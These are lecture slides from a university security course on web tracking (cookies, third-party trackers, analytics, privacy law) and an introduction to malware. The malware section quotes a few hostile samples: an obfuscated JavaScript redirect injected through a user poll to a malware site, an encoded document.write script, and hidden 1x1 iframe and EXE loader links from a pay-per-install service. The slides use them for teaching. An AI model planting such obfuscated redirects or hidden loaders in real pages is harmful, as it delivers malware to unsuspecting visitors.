Miscellaneous: tracking on the web (& start on malware)

CS 161: Computer Security
Prof. Raluca Ada Popa

April 17, 2016

Credit: some slides are adapted from previous offerings of this course or from CS 241 of Prof. Dan Boneh
Miscellaneous topics

- Tracking on the web
- Malware (bots, worms, viruses)
- Bitcoin

All will be covered on exam, you should understand the concepts, but no need to understand the details.
What does a site learn about you when you visit them?

Discuss with your neighbor
The sites you visit learn:

- The **URLs** you’re interested in
  - Google/Bing also learns *what you’re searching for*
- Your **IP address**
  - Thus, your service provider & geo-location
  - Can often link you to other activity including at other sites
- Your browser’s capabilities, which OS you run, which language you prefer
- Which URL you looked at that took you there
  - Via the HTTP “**Referer**” header

They also learn cookies!
They also learn cookies

Why is that harmful?
Let's remove all of our cookies.

The following cookies are stored on your computer:

<table>
<thead>
<tr>
<th>Site</th>
<th>Cookie Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>accounts.google.com</td>
<td></td>
</tr>
<tr>
<td>auth.berkeley.edu</td>
<td></td>
</tr>
<tr>
<td>cnn.com</td>
<td></td>
</tr>
<tr>
<td>facebook.com</td>
<td></td>
</tr>
<tr>
<td>google.com</td>
<td></td>
</tr>
<tr>
<td>markets.on.nytimes.com</td>
<td></td>
</tr>
<tr>
<td>nytimes.com</td>
<td></td>
</tr>
<tr>
<td>us.cnn.com</td>
<td></td>
</tr>
<tr>
<td>wt.o.nytimes.com</td>
<td></td>
</tr>
</tbody>
</table>

Name: <no cookie selected>  
Content: <no cookie selected>  
Host: <no cookie selected>  
Path: <no cookie selected>  
Send For: <no cookie selected>  
Expires: <no cookie selected>  

Remove Cookies  
Remove All Cookies
Cool, no web site is tracking us …
We do a search on “private browsing”
Private Browsing - Browse the web without saving information about...

When using a shared computer, Private Browsing is great for viewing websites without saving stuff like cookies, temp files and a history of the pages you visit.

Firefox 20 Launches With Improved Private Browsing. New...

Apr 2, 2013 – Firefox 20 is now available for download. The emphasis of today’s release is on Firefox’s private browsing mode, which now allows Firefox...

Privacy mode - Wikipedia, the free encyclopedia

Internet Explorer 8 in InPrivate mode. Google Chrome in Incognito mode. Privacy mode or "private browsing", sometimes informally referred to as "porn mode", ...

Firefox 20 improves private browsing, fixes three critical flaws | ZDNet

Apr 3, 2013 – Mozilla has released the latest version of its Firefox web browser which features new enhancement to private browsing and fixes a number of ...

Private Browsing - Web Browsers - About.com

The methods for activating private browsing mode differ across browsers, operating systems, and device types. These step-by-step tutorials teach you how to...
Google has stored a couple of cookies on our system.
Goodness knows what info they decided to put in the cookie.
But it lasts for months …
Private browsing

You can turn on a mode called *private browsing* on your browser

What is this?
Does it protect you against tracking?
We click on the top result.
Note that this mode is privacy from your family, not from web sites!
Private browsing

“Private Browsing allows you to browse the Internet without saving any information about which sites and pages you’ve visited.”
- deletes history of URL visits, passwords, cookies too
- Private Browsing maintains cookies for as long as the private browsing window is open. Once you quit the browser, it gets deleted
- So still tracked for a good while!
Ironically, we’ve gained a bunch of cookies in the process.
This one sticks around for two years.

Expires: April 17, 2020
How did YouTube enter the picture?

There was YouTube content embedded on the site.
YouTube is remembering the version of Flash I’m running …

Expires: April 17, 2020
We navigate to *The New York Times* ...
U.S. Announces More Sanctions Against Russia Over Ukraine

By PETER BAKER and MARK LANDLER

The United States ordered travel bans and asset freezes for seven Russian officials, including two said to be in President Vladimir V. Putin’s inner circle, and froze assets for 17 firms.

Egypt Sentences More Than 680 to Death

The Muslim Brotherhood’s spiritual leader and hundreds of others were sentenced on charges of inciting or committing violence. Supporters, above, reacted to the verdict Monday.

Egypt Sentences More Than 680 to Death

The Muslim Brotherhood’s spiritual leader and hundreds of others were sentenced on charges of inciting or committing violence. Supporters, above, reacted to the verdict Monday.

Today’s Times Insider

Behind the scenes of The New York Times

- Thinking of Wine as Food With Eric Asimov
- Introducing Times Insider

The Opinion Pages

EDITORIAL

Political Executions in Egypt

It is clear from the sentencing of 680 people to death in a mass trial that the country’s judges have become a government tool.

- Editorial: Smartphones and the 4th Amendment
- Krugman: High Plains Moochers

THE STONE

What Does Buddhism Require?

The reality of rebirth may not be necessary. But believing in it probably is.

- Gessen: Salon of the Exiled
- Op-Ed: The Wire Next Time
- Op-Docs | ‘Verbatim: What Is a Photocopier?’
What a lot of yummy cookies!

The following cookies are stored on your computer:

<table>
<thead>
<tr>
<th>Site</th>
<th>Cookie Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>dotomi.com</td>
<td></td>
</tr>
<tr>
<td>doubleclick.net</td>
<td></td>
</tr>
<tr>
<td>dynamicyield.com</td>
<td></td>
</tr>
<tr>
<td>google.com</td>
<td></td>
</tr>
<tr>
<td>imrworldwide.com</td>
<td></td>
</tr>
<tr>
<td>krxd.net</td>
<td></td>
</tr>
<tr>
<td>markets.on.nytimes.com</td>
<td></td>
</tr>
<tr>
<td>mediaplex.com</td>
<td></td>
</tr>
<tr>
<td>nytimes.com</td>
<td></td>
</tr>
<tr>
<td>revsci.net</td>
<td></td>
</tr>
<tr>
<td>scorecardresearch.com</td>
<td></td>
</tr>
<tr>
<td>support.mozilla.org</td>
<td></td>
</tr>
<tr>
<td>wt.o.nytimes.com</td>
<td></td>
</tr>
<tr>
<td>youtube.com</td>
<td></td>
</tr>
</tbody>
</table>
Here are the ones from the website itself …

<table>
<thead>
<tr>
<th>Site</th>
<th>Cookie Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>nytimes.com</td>
<td>RMID</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>nyt5_disable</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dyid</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dyfs</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_cb_ls</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>nytnow3p</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag28172.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>nyt-m</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>nyt-recommend</td>
</tr>
<tr>
<td>adxcl</td>
<td></td>
</tr>
<tr>
<td>adxcs</td>
<td></td>
</tr>
<tr>
<td>tagx-l</td>
<td></td>
</tr>
<tr>
<td>tagx-s</td>
<td></td>
</tr>
<tr>
<td>tagx-p</td>
<td></td>
</tr>
<tr>
<td>nytimes.com</td>
<td>WT_FPC</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dyaud_page</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dysvar_8765260</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dyuss_8765260</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dybst</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dy_geo</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dyaud_nchc</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dyaud_sess</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dyus_8765260</td>
</tr>
<tr>
<td>rsi_segs</td>
<td></td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag27935.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag27728.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag15486.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag21418.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag22998.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag21233.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag28173.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_chartbeat?</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_chartbeat_uuniq</td>
</tr>
<tr>
<td>Site</td>
<td>Cookie Name</td>
</tr>
<tr>
<td>-----------</td>
<td>------------------------------------------------------------------</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dyus_8765260</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>rsi_segs</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag27935.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag27728.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag15486.daily</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag22998.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag21418.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag22998.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag21233.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag28173.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_chartbeat2</td>
</tr>
<tr>
<td></td>
<td>_chartbeat_uuniq</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtech</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxsegs</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>krux_segs</td>
</tr>
</tbody>
</table>

**Name:** kxtech

**Content:** device%3DComputer%26manufacturer%3DApple%2520Inc.%26os%3DMac%2520OS%2520X%26browser%3DFirefox%25202

**Host:** www.nytimes.com

**Path:** /

**Send For:** Any type of connection

**Expires:** May 28, 2014 at 2:26:53 PM

This one tracks the details of my system & browser
doubleclick.net - who’s that? And how did it get there from visiting www.nytimes.com?

doubleclick.net is a tracker, purposefully embedded by NYTimes for tracking.
Third-Party Cookies

How can a web site enable a third party to plant cookies in your browser & later retrieve them?

- Include on the site’s page (for example):
  - `<img src="http://doubleclick.net/ad.gif" width=1 height=1>`

Why would a site do that?

- Site has a business relationship w/ DoubleClick *

Why can this track you?

- Now DoubleClick sees all of your activity that involves their web sites
- Because your browser dutifully sends them their cookies for any web page that has that img
- Identifier in cookie ties together activity as = YOU

• Owned by Google, by the way
Moral: you can be tracked by a site even if you do not visit that site
The following cookies are stored on your computer:

<table>
<thead>
<tr>
<th>Site</th>
<th>Cookie Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>google.com</td>
<td>PREF</td>
</tr>
<tr>
<td>google.com</td>
<td>NID</td>
</tr>
<tr>
<td>support.mozilla.org</td>
<td>__utma</td>
</tr>
<tr>
<td>support.mozilla.org</td>
<td>__utmb</td>
</tr>
<tr>
<td>support.mozilla.org</td>
<td>__utmc</td>
</tr>
<tr>
<td>support.mozilla.org</td>
<td>__utmz</td>
</tr>
<tr>
<td>youtube.com</td>
<td>VISITOR_INFO1_LIVE</td>
</tr>
<tr>
<td>youtube.com</td>
<td>YSC</td>
</tr>
<tr>
<td>youtube.com</td>
<td>PREF</td>
</tr>
</tbody>
</table>

Remember this 2-year Mozilla cookie?
Google Analytics

- Any web site can (anonymously) register with Google to instrument their site for analytics
  - Gather information about who visits, what they do when they visit
- To do so, site adds a small Javascript snippet that loads http://www.google-analytics.com/ga.js
  - You can see sites that do this because they introduce a "_utma" cookie
- Code ships off to Google information associated with your visit to the web site
  - Shipped by fetching a GIF w/ values encoded in URL
  - Web site can use it to analyze their ad “campaigns”
  - Not a small amount of info …
Values Reportable via Google Analytics

Affiliation
Billing City
Billing Country
Billing Region
Browser Lang.
Complete URL
Cookie Values
Current Page
Event Tracking
Flash Version
Grand Total
Host Name
Java-enabled
Language Encoding
Order ID
Page Title
Product Code
Product Name
Profile Number
Repeat Campaign Visit
Quantity
Screen Color Depth
Screen Resolution
Shipping Cost
Special Event
Start Campaign Sess.
Tax
Tracking Code Version
Unique GIF ID
Unit Price
User Defined Var
Variations on an Item
Still More Tracking Techniques ...

Any scenario where browsers execute programs that manage persistent state can support tracking by cookies

- Such as .... *Flash* ?
My browser had Flash cookies from 67 sites!

Some Flash cookies “respawn” regular browser cookies that you previously deleted!

Sure, this is where you’d think to look to analyze what Flash cookies are stored on your machine.
Internet Explorer bug lets hacker control your PC

By Joao Pagliaro  @Josa_Pagliaro  April 28, 2014: 2:27 PM ET

A new bug in Internet Explorer allows hackers to commandeer your computer.

NEW YORK (CNNMoney)
If you're using Internet Explorer and click on the wrong link, a hacker could hijack your computer.

Facebook “Like” button (an IFRAME hosted on facebook.com)
What does Facebook learn?

Many pages include a Facebook “Like” button. What are the implications, for user tracking?

Facebook can track you on every site that you visit that embeds such a button, not only when you are actually visit Facebook.
What information does Facebook get when I visit a site with the Like button?

If you’re logged into Facebook and visit a website with the Like button, your browser sends us information about your visit. Since the Like button is a little piece of Facebook embedded on another website, the browser is sending info about the request to load Facebook content on that page.

We record some of this info to help show you a personalized experience on that site and to improve our products. For example, when you go to a website with a Like button, we need to know who you are in order to show you what your Facebook friends have liked on that site. The data we receive includes your user ID, the website you’re visiting, the date and time and other browser-related info.
Tracking – So What?

Cookies form the core of how Internet advertising works today

- Without them, arguably you’d have to pay for content up front a lot more
  - (and payment would mean you’d lose anonymity anyway)
- A “better ad experience” is not necessarily bad
  - Ads that reflect your interests; not seeing repeated ads

But: ease of gathering so much data so easily ⇒ concern of losing control how it’s used

- Privacy concerns
- Large amounts of private data in one place
Trust in Facebook plummets after Cambridge Analytica scandal, Zuckerberg testimony

By Chris Ciaccia | Fox News
More Employers Screening Candidates via Social Networking Sites

Five tips for creating a positive online image
Rosemary Haefner, Vice President of Human Resources at CareerBuilder

When you interview, they Know What You’ve Posted

Gone are the days when all job seekers had to worry about were their résumés and cover letters. Today, those documents remain a staple of the job-search process, but they are joined by a growing phenomenon: social networking.

Forty-five percent of employers reported in a June 2009 CareerBuilder survey that they use social networking sites to screen potential employees, compared to only 22 percent of employers last year. Eleven percent of employers plan to start using social networking sites for the screening process. More than 2,600 hiring managers participated in the survey.
Why employers disregard candidates after screening online

Thirty-five percent of employers reported they have found content on social networking sites that caused them not to hire the candidate, including:

- Candidate posted provocative or inappropriate photographs or information -- 53 percent
- Candidate posted content about them drinking or using drugs -- 44 percent
- Candidate bad-mouthed their previous employer, co-workers or clients -- 35 percent
- Candidate showed poor communication skills -- 29 percent
- Candidate made discriminatory comments -- 26 percent
- Candidate lied about qualifications -- 24 percent
- Candidate shared confidential information from previous employer -- 20 percent
Cookies etc. form the core of how Internet advertising works today
- Without them, arguably you’d have to pay for content up front a lot more
  - (and payment would mean you’d lose anonymity anyway)
- A “better ad experience” is not necessarily bad
  - Ads that reflect your interests; not seeing repeated ads

But: ease of gathering so much data so easily ⇒ concern of losing control how it’s used
- Content shared with friends doesn’t just stay with friends ...
- You really don’t have a good sense of just what you’re giving away ...
Inadvertent information leaking

Consider posting a picture on Twitter
The world can see it, but what more can an outside figure out about you?
Photos are tagged with location from the camera.
Who have we stalked recently?

ICanStalkU was able to stalk RangeLifeEnt at 51 Great Jones St New York NY
1 minute ago · Map Location · View Tweet · View Picture · Reply to RangeLifeEnt

ICanStalkU was able to stalk Inicklasson at http://maps.google.com/?q=57.134444444,12.7141666667
2 minutes ago · Map Location · View Tweet · View Picture · Reply to Inicklasson

ICanStalkU was able to stalk Welerson13 at http://maps.google.com/?q=-15.738055556,-47.898611111
2 minutes ago · Map Location · View Tweet · View Picture · Reply to Welerson13

ICanStalkU was able to stalk BritBangert at 920 Hawley St Taylorville IL
1 minute ago · Map Location · View Tweet · View Picture · Reply to BritBangert

ICanStalkU was able to stalk jiggy_Owla at http://maps.google.com/?q=13.783005587,100.518500685
4 minutes ago · Map Location · View Tweet · View Picture · Reply to jiggy_Owla

ICanStalkU was able to stalk gcolony at http://maps.google.com/?q=37.7851666667,-122.404166667
4 minutes ago · Map Location · View Tweet · View Picture · Reply to gcolony

Links

- Mayhemic Labs
- PaulDotCom
- SANS ISC
- Electronic Frontier Foundation
- Center for Democracy & Technology

How did you find me?

Did you know that a lot of smart phones encode the location of where pictures are taken? Anyone who has a copy can access this information.
read more

Help me fix this!

Disabling Geo-Tagging on your phone is easy. Check your user manual for instructions.
How To Gain Better Privacy?

discuss with your neighbor
How To Gain Better Privacy?

- Force of law
  - Example #1: web site privacy policies
    - US sites that violate them commit false advertising
    - But: policy might be “Yep, we sell everything about you, Ha Ha!”
7. Collection of Viewing Information. You acknowledge that you are aware of and consent to the collection of your viewing information during your use of the Software and/or Content. Viewing information may include, without limitation, the time spent viewing specific pages, the order in which pages are viewed, the time of day pages are accessed, IP address and user ID. This viewing information may be linked to personally identifiable information, such as name or address and shared with third parties.
How To Gain Better Privacy?

- **Force of law**
  - **Example #1:** web site privacy policies
    - US sites that violate them commit false advertising
    - But: policy might be “*Yep, we sell everything about you, Ha Ha!*”
  - **Example #2:** SB 1386 (bill in CA legislature)
    - Requires an agency, person or business that conducts business in California and owns or licenses computerized 'personal information' to disclose any breach of security (to any resident whose unencrypted data is believed to have been disclosed)
    - Quite effective at getting sites to pay attention to securing personal information
  - **Example #3:** GDPR law
May 8, 2009 1:53 PM PDT

UC Berkeley computers hacked, 160,000 at risk

by Michelle Meyers

This post was updated at 2:16 p.m. PDT with comment from an outside database security software vendor.

Hackers broke into the University of California at Berkeley's health services center computer and potentially stole the personal information of more than 160,000 students, alumni, and others, the university announced Friday.

At particular risk of identity theft are some 97,000 individuals whose Social Security numbers were accessed in the breach, but it's still unclear whether hackers were able to match up those SSNs with individual names, Shelton Waqqener, UCB's chief technology officer, said in a press conference Friday afternoon.
General Data Protection Regulation (GDPR)

New European law (2018) designed to allow individuals to better control their personal data

- Requires consent or strong reason to process and store personal information
- Gives a user the right to know what information is held about them
- Allows a user to request that their information is deleted and that they are ‘forgotten’
- Requires that personal information is properly protected.
- ... and more

 Applies to US companies with European customers too
How To Gain Better Privacy?

- Technology
  - Various browser additions
  - Special browser extensions
  - Tor and anonymizers to hide IP addresses
Private browsing includes tracking protection

You can choose a blocking list in your Firefox browser for example:

- **Basic (default):** Blocks third-party trackers based on Disconnect.me. **Blocks commonly known analytics trackers, social sharing trackers, and advertising trackers**, but allows some known content trackers to reduce website breakage.

- **Strict:** **blocks all known trackers, including analytics, trackers, social sharing trackers, and advertising trackers as well as content trackers.** The strict list will break some videos, photo slideshows, and some social networks.
Browsers: Do not track flag

You can turn on this flag in your browser

What does it do?
- Tells web servers you want to opt-out of tracking
- It does this by transmitting a Do Not Track HTTP header every time your data is requested from a web server

It does not enforce that there is no tracking, it is up to the web servers whether they decide to track or not
Some ad companies do provide more generic ads as a result of this flag.
User installs browser extension:

1. Recognizes third-party tracking scripts on a web page based on an actively curated database of such scripts

2. Blocks HTTP requests to these sites
   • as a result, Facebook buttons don’t even show

3. Users can create “Whitelists” of allowed sites
   • e.g., allow FB button but note that you allow tracking by FB too
But you have to be careful...

Ghostery: A Web tracking blocker that actually helps the ad industry

Users can opt-in to sending anonymously data back to Evidon, the parent company, to improve its tracking database.

Evidon sells this data to ad companies.

Attempting excuse: strategy is transparent, users opt into this
Conclusions

- Third-party apps can track us even if we don’t visit their website.
- Tracking is very common on the web and can collect a lot of data about you.
- Some solutions exist, but have caveats.
Miscellaneous:
malware

Credit for some slides: Damon McCoy and Vitaly Shmatikov
Malware

- Malicious code often masquerades as good software or attaches itself to good software
- Some malicious programs need host programs
  - Trojan horses (malicious code hidden in a useful program), logic bombs (a set of instructions secretly incorporated into a program so that if a particular condition is satisfied they will be carried out, usually with harmful effects), backdoors
- Others can exist and propagate independently
  - Worms, automated viruses
- Many infection vectors and propagation methods
- Modern malware often combines trojan, rootkit, and worm functionality
PUP

- Potentially unwanted programs
  - Software the user agreed to install or was installed with another wanted program but is, spyware, adware
Lenovo PCs ship with man-in-the-middle adware that breaks HTTPS connections [Updated]

Superfish may make it trivial for attackers to spoof any HTTPS website.

by Dan Goodin - Feb 19, 2015 8:36am PST
Viruses vs. Worms

**VIRUS**
- Propagates by infecting other programs
- Usually inserted into host code (not a standalone program)

**WORM**
- Propagates automatically by copying itself to target systems
- A standalone program
Ken Thompson’s 1983 Turing Award lecture

1. Added a backdoor-opening Trojan to login program
2. Anyone looking at source code would see this, so changed the compiler to add backdoor at compile-time
3. Anyone looking at compiler source code would see this, so changed the compiler to recognize when it’s compiling a new compiler and to insert Trojan into it

“The moral is obvious. You can’t trust code you did not totally create yourself.”
Viruses

- **Virus** propagates by **infecting other programs**
  - Automatically creates copies of itself, but to propagate, a human has to run an infected program
  - Self-propagating viruses are often called **worms**
- **Many propagation methods**
  - Insert a copy into every executable (.COM, .EXE)
  - Insert a copy into boot sectors of disks
  - Infect common OS routines, stay in memory
First Virus: Creeper

- Written in 1971 at BBN
- Infected DEC PDP-10 machines running TENEX OS
- Jumped from machine to machine over ARPANET
  - Copied its state over, tried to delete old copy
- Payload: displayed a message “I’m the creeper, catch me if you can!”
- Later, Reaper was written to hunt down Creeper

http://history-computer.com/Internet/Maturing/Thomas.html
Polymorphic Viruses

- **Encrypted viruses**: constant decryptor content followed by the encrypted virus body
- **Polymorphic viruses**: each copy creates a new random encryption of the same virus body
  - Decryptor code constant and can be detected
  - Historical note: “Crypto” virus decrypted its body by brute-force key search to avoid explicit decryptor code
Virus Detection

1. Simple anti-virus scanners
   - Look for **signatures** (fragments of known virus code)
   - Heuristics for recognizing code associated with viruses
     ☑ Example: polymorphic viruses often use decryption loops
   - Integrity checking to detect file modifications
     ☑ Keep track of file sizes, checksums, keyed HMACs of contents

2. Generic decryption and emulation
   - Emulate CPU execution for a few hundred instructions, recognize known virus body after it has been decrypted
   - Does not work very well against viruses with mutating bodies and viruses not located near beginning of infected executable
Virus Detection by Emulation

Say you want to detect if F is a virus, but it is polymorphic so you are not sure:
- Run it in a sandbox
- The virus will start decrypting its payload and executing it
- Look at the set of instructions that are executed and see if those match a signature of a known virus

Insight here: check signature at runtime instead of signature of file content (which could be different)
Metamorphic Viruses

- Obvious next step: **mutate the virus body**, too
- Apparition: an early Win32 metamorphic virus
  - Carries its source code (contains useless junk)
  - Looks for compiler on infected machine
  - Changes junk in its source and recompiles itself
  - New binary copy looks different! [So new instruction sequences]
- Mutation is common in macro and script viruses
  - A macro is an executable program embedded in a word processing document (MS Word) or spreadsheet (Excel)
  - Macros and scripts are usually interpreted, not compiled
Obfuscation and Anti-Debugging

- Common in all kinds of malware
- Goal: prevent code analysis and signature-based detection, foil reverse-engineering
- Code obfuscation and mutation
  - Packed binaries, hard-to-analyze code structures
  - Different code in each copy of the virus
    - Effect of code execution is the same, but this is difficult to detect by passive/static analysis (undecidable problem)
- Detect debuggers and virtual machines, terminate execution
Mutation Techniques

- Large arsenal of obfuscation techniques
  - Instructions reordered, branch conditions reversed, different register names, different subroutine order
  - Jumps and NOPs inserted in random places
  - Garbage opcodes inserted in unreachable code areas
  - Instruction sequences replaced with other instructions that have the same effect, but different opcodes
    - Mutate `SUB EAX, EAX` into `XOR EAX, EAX` or `MOV EBP, ESP` into `PUSH ESP; POP EBP`
Propagation via Websites

Websites with popular content

- Games: 60% of websites contain executable content, one-third contain at least one malicious executable
- Celebrities, adult content, everything except news
Drive-By Downloads

- Websites “push” malicious executables to user’s browser with inline JavaScript or pop-up windows
  - Naïve user may click “Yes” in the dialog box
- Can install malicious software automatically by exploiting bugs in the user’s browser
  - 1.5% of URLs - Moshchuk et al. study
  - 5.3% of URLs - “Ghost Turns Zombie”
  - 1.3% of Google queries - “All Your IFRAMEs Point to Us”
- Many infectious sites exist only for a short time, behave non-deterministically, change often
Obfuscated JavaScript

document.write(unescape("%3CHEAD%3E%0D%0A%3CSCRIPT%20LANGUAGE%3D%22Javascript%22%3E%0D%0A/*%20criptografado%20pelo%20Fal%20-%20Deboa%E7%E3o%20gr%E1tis%20para%20seu%20site%20renda%20extra%0D
...
3C/SCRIPT%3E%0D%0A%3C/HEAD%3E%0D%0A%3CBODY%3E%0D%0A%3C/HTML%3E%0D%0A"));
//-->
</SCRIPT>
“Ghost in the Browser”

- Large study of malicious URLs by Provos et al. (Google security team)
- In-depth analysis of 4.5 million URLs
  - About 10% malicious
- Several ways to introduce exploits
  - Compromised Web servers
  - User-contributed content
  - Advertising
  - Third-party widgets
User-Contributed Content

Example: site allows user to create online polls, claims only limited HTML support

- Sample poll:

```javascript
function otqzyu(nemz)jyu="lo";sdfwo78="catio";
kj="n.r";vj20=2;uyty="eplac";iuuih8889="e";vbb25="(";
awq27="";stftftft=4;fgdhh="ht";ji87gko1="tp:/";
polkiu="/vi";jbj89="deo";jbbhi87="zf";hgdxgf="re";
jkhuiift="e.c";jgyhg="omr";dh4=eval(fgdhh+ji87gko1+polkiu+jbj89+jbbhi87+hgdxgf+jkhuiift+jgyhg);je15="n")";
if (vj20+sftftft==6) eval(jyu+sdfwo78+kj+uyty+iuiuh8889+vbb25+awq27+dh4+je15);
otqzyu();//
</SCRIPT>
```

- Interpreted by browser as
  `location.replace('http://videozfree.com')`
- Redirects user to a malware site
EXE last updated 68 hours ago

Last news

<table>
<thead>
<tr>
<th>Date</th>
<th>Text</th>
</tr>
</thead>
<tbody>
<tr>
<td>4.12.2006</td>
<td>From today our price for Asia grows up to 15$ for 1k and the price for Italy - to 300$ for 1k</td>
</tr>
<tr>
<td>20.11.2006</td>
<td>For the reason of bad price for Asiatic region we have to low our price for it to 125. We‘re waiting for your understanding. We‘ll work up this problem as soon as possible.</td>
</tr>
<tr>
<td>11.07.2006</td>
<td>Now, we accept asia loads!</td>
</tr>
<tr>
<td>11.06.2006</td>
<td>We resolve our problem with hosting! And we have a special bonus: you‘ll get +20% more to your moneys!</td>
</tr>
<tr>
<td>31.05.2006</td>
<td>From the 31th of May the new system of antivirius is started.</td>
</tr>
<tr>
<td>07.11.2005</td>
<td>Problems with BackURL solved, use it!</td>
</tr>
<tr>
<td>11.10.2005</td>
<td>Now you can send not unique traffic to your resources with help of BackURL</td>
</tr>
<tr>
<td>01.10.2005</td>
<td>From the 10th of October the new system of tariffing IS STARTED. From this moment we pay different $$$ for different countries</td>
</tr>
<tr>
<td>19.09.2005</td>
<td>From the 19th of September the price for 1000 loads will rise to 80$</td>
</tr>
<tr>
<td>10.08.2005</td>
<td>New system of statistics and new design are started!</td>
</tr>
<tr>
<td>11.07.2005</td>
<td>From the 11th of July the price for 1000 loads will rise to 70$</td>
</tr>
</tbody>
</table>

Adverts link

- HTML Link: `<iframe src="http://yepjnddpq.biz/dl/adv622.php" width=1 height=1></iframe>`
- Hidden HTML Link: `<iframe src="" width=1 height=1></iframe>`
- EXE Link (last update 68 hours ago): `http://yepjnddpq.biz/dl/loadadv622.exe`
Trust in Web Advertising

- Advertising, by definition, is ceding control of Web content to another party
- Webmasters must trust advertisers not to show malicious content
- Sub-syndication allows advertisers to rent out their advertising space to other advertisers
  - Companies like Doubleclick have massive ad trading desks, also real-time auctions, exchanges, etc.
- Trust is not transitive!
  - Webmaster may trust his advertisers, but this does not mean he should trust those trusted by his advertisers
Example of an Advertising Exploit

- Video sharing site includes a banner from a large US advertising company as a single line of JavaScript...
- ... which generates JavaScript to be fetched from another large US company
- ... which generates more JavaScript pointing to a smaller US company that uses geo-targeting for its ads
- ... the ad is a single line of HTML containing an iframe to be fetched from a Russian advertising company
- ... when retrieving iframe, “Location:” header redirects browser to a certain IP address
- ... which serves encrypted JavaScript, attempting multiple exploits against the browser

[Provos et al.]
Not a Theoretical Threat

- Hundreds of thousands of malicious ads online
  - 384,000 in 2013 vs. 70,000 in 2011 (source: RiskIQ)
  - Google disabled ads from more than 400,000 malware sites in 2013
- Dec 27, 2013 – Jan 4, 2014: Yahoo! serves a malicious ad to European customers
  - The ad attempts to exploit security holes in Java on Windows, install multiple viruses including Zeus (used to steal online banking credentials)
Social Engineering

- **Goal:** trick the user into “voluntarily” installing a malicious binary
- **Fake video players and video codecs**
  - Example: website with thumbnails of adult videos, clicking on a thumbnail brings up a page that looks like Windows Media Player and a prompt:
    - “Windows Media Player cannot play video file. Click here to download missing Video ActiveX object.”
  - The “codec” is actually a malware binary
- **Fake antivirus (“scareware”)**
  - January 2009: 148,000 infected URLs, 450 domains

[Provos et al.]
Fake Antivirus
<table>
<thead>
<tr>
<th>Loader</th>
<th>Сетапы</th>
<th>Покупки</th>
<th>Покупки</th>
<th>Возвраты</th>
<th>Рефералы</th>
<th>Прибыль</th>
</tr>
</thead>
<tbody>
<tr>
<td>37943</td>
<td>19989</td>
<td>667</td>
<td>29853.86</td>
<td>-436.72</td>
<td>0.00</td>
<td>29417.14</td>
</tr>
<tr>
<td>39895</td>
<td>19722</td>
<td>74</td>
<td>5420.64</td>
<td>0.00</td>
<td>0.00</td>
<td>5420.64</td>
</tr>
<tr>
<td>41687</td>
<td>18619</td>
<td>384</td>
<td>28148.96</td>
<td>-36.71</td>
<td>0.00</td>
<td>28112.25</td>
</tr>
<tr>
<td>38059</td>
<td>16038</td>
<td>249</td>
<td>13908.24</td>
<td>-118.54</td>
<td>0.00</td>
<td>13789.70</td>
</tr>
<tr>
<td>39160</td>
<td>15335</td>
<td>176</td>
<td>9726.17</td>
<td>0.00</td>
<td>0.00</td>
<td>9726.17</td>
</tr>
<tr>
<td>29968</td>
<td>12076</td>
<td>207</td>
<td>11672.71</td>
<td>0.00</td>
<td>0.00</td>
<td>11672.71</td>
</tr>
<tr>
<td>13293</td>
<td>6866</td>
<td>129</td>
<td>6920.81</td>
<td>0.00</td>
<td>0.00</td>
<td>6920.81</td>
</tr>
<tr>
<td>18055</td>
<td>8915</td>
<td>157</td>
<td>7557.25</td>
<td>0.00</td>
<td>0.00</td>
<td>7557.25</td>
</tr>
<tr>
<td>29642</td>
<td>14802</td>
<td>265</td>
<td>12852.29</td>
<td>0.00</td>
<td>0.00</td>
<td>12852.29</td>
</tr>
<tr>
<td>50457</td>
<td>22463</td>
<td>464</td>
<td>21055.29</td>
<td>0.00</td>
<td>0.00</td>
<td>21055.29</td>
</tr>
<tr>
<td>338159</td>
<td>154825</td>
<td>2772</td>
<td>147116.22</td>
<td>-591.97</td>
<td>0.00</td>
<td>146524.25</td>
</tr>
</tbody>
</table>

Source: Joe Stewart, SecureWorks
Rootkits

- **Rootkit** is a set of trojan system binaries
- **Main characteristic:** stealthiness
